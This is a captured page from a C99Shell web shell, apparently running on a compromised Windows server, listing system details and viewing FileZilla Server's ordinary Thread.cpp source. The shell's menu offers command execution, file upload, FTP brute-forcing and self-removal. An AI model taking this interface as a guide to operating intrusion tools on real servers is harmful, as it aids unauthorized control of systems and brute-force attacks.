!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\FileZillaFTP\source\   drwxrwxrwx
Free 9.42 GB of 239.26 GB (3.94%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Thread.cpp (2.85 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// FileZilla Server - a Windows ftp server

// Copyright (C) 2002-2004 - Tim Kosse <tim.kosse@gmx.de>

// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.

// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

// Thread.cpp: Implementierung der Klasse CThread.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "Thread.h"

//////////////////////////////////////////////////////////////////////
// Konstruktion/Destruktion
//////////////////////////////////////////////////////////////////////

CThread::CThread()
{
    m_hThread = 0;
    m_dwThreadId = NULL;
    m_hEventStarted = CreateEvent(0, FALSE, FALSE, NULL);
    m_started = false;
}

CThread::~CThread()
{
    CloseHandle(m_hEventStarted);
    CloseHandle(m_hThread);
}

BOOL CThread::Create(int nPriority /*=THREAD_PRIORITY_NORMAL*/, DWORD dwCreateFlags /*=0*/)
{
    m_hThread=CreateThread(0, 0, ThreadProc, this, dwCreateFlags, &m_dwThreadId);
    if (!m_hThread)
    {
        delete this;
        return FALSE;
    }
    ::SetThreadPriority(m_hThread, nPriority);
    return TRUE;
}

BOOL CThread::PostThreadMessage(UINT message, WPARAM wParam, LPARAM lParam)
{
    BOOL res=::PostThreadMessage(m_dwThreadId, message, wParam, lParam);;
    ASSERT(res);
    return res;
}

DWORD CThread::ResumeThread()
{
    DWORD res=::ResumeThread(m_hThread);
    if (!m_started)
    {
        WaitForSingleObject(m_hEventStarted, INFINITE);
    }
    return res;
}

DWORD CThread::SuspendThread()
{
    return ::SuspendThread(m_hThread);
}

DWORD WINAPI CThread::ThreadProc(LPVOID lpParameter)
{
    return ((CThread *)lpParameter)->Run();
}

DWORD CThread::Run()
{
    InitInstance();
    SetEvent(m_hEventStarted);
    m_started = true;
    MSG msg;
    while (GetMessage(&msg, 0, 0, 0))
    {
        TranslateMessage(&msg);
        if (!msg.hwnd)
            OnThreadMessage(msg.message, msg.wParam, msg.lParam);
        DispatchMessage(&msg);
    }
    DWORD res=ExitInstance();
    delete this;
    return res;
}

int CThread::OnThreadMessage(UINT Msg, WPARAM wParam, LPARAM lParam)
{
    return 0;
}

BOOL CThread::InitInstance()
{
    return TRUE;
}

DWORD CThread::ExitInstance()
{
    return 0;
}

BOOL CThread::SetPriority(int nPriority)
{
    if (!m_hThread)
        return false;

    return ::SetThreadPriority(m_hThread, nPriority);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--